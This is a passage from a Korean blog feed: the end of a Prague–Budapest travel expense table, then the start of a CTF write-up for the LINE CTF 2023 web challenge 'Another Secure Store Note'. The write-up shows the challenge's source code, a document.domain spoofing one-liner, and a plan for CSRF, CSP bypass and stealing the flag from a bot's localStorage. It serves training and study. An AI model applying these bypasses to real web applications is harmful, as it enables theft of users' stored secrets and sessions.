&lt;td style=&quot;width: 154px;&quot;&gt;Marina Ristorante&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;86,823&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;1,475 CZK&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/12(목)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;프라하 시내 투어&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;163,392&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;₩120,000(투어 비용) + 29,555 원(프라하 투어 입장료 2*250 CZK)&lt;br /&gt;+ 13,837 원(프라하성 스타벅스 234 CZK)&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️투어&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/13(금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Porks(프라하성 꼴레뇨 맛집)&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;32,579&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;551 CZK&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/13(금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;카페 루브르&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;7,327&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;☕카페&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/13(금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;돈 지오반니 오페라&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코 프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;188,053&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;3,180 CZK&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 공연&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/13(금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;야간열차 프라하-부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;243,822&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;물 구입&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/13(금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;입국&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;334,749&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;면세품 구매&lt;br /&gt;(젤리 9,510 HUF, 초콜릿*4 14,512 HUF,&lt;br /&gt;조니워커 블루라벨 243,860 )&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/14(토)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;b&gt;전체 경비&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5,378,260&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]</category>
      <category>2023_부다페스트_프라하</category>
      <category>부다페스트</category>
      <category>여행 경비</category>
      <category>여행 일정</category>
      <category>유럽여행</category>
      <category>프라하</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/182</guid>
      <comments>https://chmodi.tistory.com/182#entry182comment</comments>
      <pubDate>Wed, 15 Nov 2023 19:10:02 +0900</pubDate>
    </item>
    <item>
      <title>[Line CTF 2023] Web 7번: Another Secure Store Note</title>
      <link>https://chmodi.tistory.com/181</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;LINE CTF 2023의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web 분야 7번 문제 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 취약점들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복합적으로 적용된 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;적용된 취약점&lt;/b&gt;:&lt;br /&gt;1. &lt;a href=&quot;https://github.com/0xGodson/blogs/blob/master/_posts/2022-10-14-intigriti-oct-xss-challenge-author-writeup.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2022년 10월 Intigriti XSS 챌린지&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;https://stackoverflow.com/questions/65540151/how-to-bypass-a-document-domain-check/65542519#65542519&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Object.defineProperty를 통한 document.domain 변조&lt;/a&gt;&lt;br /&gt;- Object.defineProperty(document, 'domain', {get: () =&amp;gt; &quot;vuln.com&quot;});&lt;br /&gt;&lt;br /&gt;2. Firefox의 &lt;a href=&quot;https://www.w3.org/TR/CSP3/#dangling-markup-attacks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dangling Markup Injection&lt;/a&gt; 필터링 미흡&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbMwtM/btr9NpjwLue/1NVmz1KkT2GNlZdte8U4M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbMwtM/btr9NpjwLue/1NVmz1KkT2GNlZdte8U4M1/img.png&quot; data-alt=&quot;Web 7번 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbMwtM/btr9NpjwLue/1NVmz1KkT2GNlZdte8U4M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbMwtM%2Fbtr9NpjwLue%2F1NVmz1KkT2GNlZdte8U4M1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;393&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 7번 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 환경 및 사이트 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운받으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경 구성 정보가 담긴 파일들과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 코드들이 있으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경 구성을 위한 Dockerfile이 없어서&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 출제자가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://assn.anctf.tk/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;외부로 오픈한 서버&lt;/a&gt;를 사용했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NwbUg/btr9Gago9t5/YqimNIK8i03MjsXxiIVwd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NwbUg/btr9Gago9t5/YqimNIK8i03MjsXxiIVwd1/img.png&quot; data-alt=&quot;Web 7번 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NwbUg/btr9Gago9t5/YqimNIK8i03MjsXxiIVwd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNwbUg%2Fbtr9Gago9t5%2FYqimNIK8i03MjsXxiIVwd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;550&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 7번 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적당한&amp;nbsp;Username과 Password를 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Login or Register 할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인하면 Note를 저장할 수 있는 페이지가 나탑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적당한 내용을 입력하면 Local Storage에 저장되는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단지 저장될 뿐 새로고침을 해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면에는 나타나지 않기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Note로는 기능하지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 위의 폼으로 이름을 변경할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 처음에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유저명에서 따온 asdfasdf이라는 이름이었는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 fdsafdsa로 변경할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;575&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPZGq0/btr9RvCXhCC/OCpUDGBA6Sf8KkJpZfLNNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPZGq0/btr9RvCXhCC/OCpUDGBA6Sf8KkJpZfLNNk/img.png&quot; data-alt=&quot;최초 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPZGq0/btr9RvCXhCC/OCpUDGBA6Sf8KkJpZfLNNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPZGq0%2Fbtr9RvCXhCC%2FOCpUDGBA6Sf8KkJpZfLNNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;393&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;최초 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;938&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/166oc/btr9YkU9ILm/vL9owZJIkJgzIjn7zvvytK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/166oc/btr9YkU9ILm/vL9owZJIkJgzIjn7zvvytK/img.png&quot; data-alt=&quot;username 변경 이후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/166oc/btr9YkU9ILm/vL9owZJIkJgzIjn7zvvytK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F166oc%2Fbtr9YkU9ILm%2FvL9owZJIkJgzIjn7zvvytK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;641&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;938&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;username 변경 이후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제가 복합적이다 보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀이를 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ docker-compose.yml&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG의 위치 뿐만 아니라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러가지 환경변수를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681092101573&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: &quot;3.5&quot;

services:
    assn-redis:
        image: redis:latest
        command: [&quot;redis-server&quot;, &quot;/etc/redis/redis.conf&quot;]
        volumes:
            - ./redis.conf:/etc/redis/redis.conf
        restart: always
        container_name: web.assn-redis
        networks:
            - assn-web
            - assn-redis-bot

    ...
    
    assn-bot:
        build:
            context: ./bot/
            dockerfile: Dockerfile
        restart: always
        container_name: web.assn-bot
        environment:
            - FLAG=LINECTF{redacted}
            - REDIS_PASSWORD=redacted
            - ADMIN_USERNAME=redacted
            - ADMIN_PASSWORD=redacted
            - DOMAIN=localhost
            - PORT=11004
        depends_on:
            - assn-redis
        networks:
            - assn-redis-bot

networks:
    assn-web: {}
    assn-redis-bot: {}&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG는 assn-bot의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경변수에 선언되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ /bot/pupeteer.js&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;bot이 어떻게 동작하는지&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681107812907&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const Puppeteer = require(&quot;puppeteer&quot;);
const { FLAG: flag } = process.env;

function sleep(time) {
  return new Promise((resolve) =&amp;gt; {
    setTimeout(resolve, time);
  });
}

// Admin visiting your URL
async function visit(url) {
  const browser = await Puppeteer.launch({
    product: &quot;firefox&quot;,  // firefox 브라우저 실행
    headless: true,
    ignoreHTTPSErrors: true,
  });
  
  /* 문제 사이트 접속 및 ADMIN 로그인 */
  const page = await browser.newPage();
  const pageUrl = `https://${process.env.DOMAIN}:${process.env.PORT}`;

  await page.goto(pageUrl, { timeout: 3000, waitUntil: &quot;domcontentloaded&quot; });
  await page.type(&quot;#username&quot;, process.env.ADMIN_USERNAME);
  await page.type(&quot;#password&quot;, process.env.ADMIN_PASSWORD);
  await page.click(&quot;#submit&quot;);
  await sleep(500);
  
  /* FLAG를 ADMIN의 localStorage에 secret에 저장*/
  await page.evaluate((flag) =&amp;gt; {
    localStorage.setItem(&quot;secret&quot;, flag);
  }, flag); // Store flag to localStorage secret
  
  /* 입력받은 URL로 접속 후 종료 */
  await page
    .goto(url, { timeout: 3000 })
    .catch((error) =&amp;gt; console.error(error));
  await sleep(3000);
  await page.close();
  await browser.close();
}

module.exports = { visit };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bot의 행동은 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 문제 사이트 접속&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. ADMIN 로그인&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;3. Flag를 localStorage의 secret에 저장&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;4. 입력받은 URL로 접속 후 종료&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF를 발생시키고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP를 우회하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;localStorage에서 FLAG를 획득하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트를 삽입한 URL로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bot을 접속 시키면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ /web/views/getSetting.js&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF token을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;document.domain으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 domain을 검증하고 있기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 검증을 우회해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681727929562&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() &amp;amp;&amp;amp; document.domain === '&amp;lt;%= domain %&amp;gt;') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '&amp;lt;%= csrf %&amp;gt;'; } catch (e) {}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ /web/index.js&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 페이지에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 페이지의 로직 뿐만 아니라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cookie 생성 및&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP 설정을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681729670729&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');

const app = express()

app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())

function rand() { return crypto.randomBytes(20).toString('hex') }

app.use((req, res, next) =&amp;gt; {
  const { id } = req.cookies;
  req.user = (id &amp;amp;&amp;amp; db.cookies[id] &amp;amp;&amp;amp; db.cookies[id].username) ? db.cookies[id].username : undefined;
  
  /* The CSP is set as: default-src 'self'; base-uri 'self'; script-src 'nonce-cookie_nonce_값'. */
  const csp = (id &amp;amp;&amp;amp; db.cookies[id] &amp;amp;&amp;amp; db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
  res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
  next()
})

function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) { 
  const { csrf } = req.body
  if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
  next()
}

app.get('/', shouldNotBeLoggedIn, (req, res) =&amp;gt; {
  res.render('auth.ejs')
})

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) =&amp;gt; {
  const { username, password } = req.body
  try {
    if (db.users[username]) {
      if (db.users[username].password !== password) throw 'Wrong password';
    } else createNewUser(username, password)
    const newCookie = rand()
    db.cookies[newCookie] = Object.create(null)
    db.cookies[newCookie].username = username
    db.cookies[newCookie].csrf = rand()
    db.cookies[newCookie].nonce = rand()
    
    /* Cookie는 다행이 SameSite가 None 이다. */
    res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
    res.redirect('/profile')
  } catch (err) {
    res.redirect(`/?error=${err}`)
  }
})

/* csp.gif로 접근하면 nonce cookie가 바뀜... */
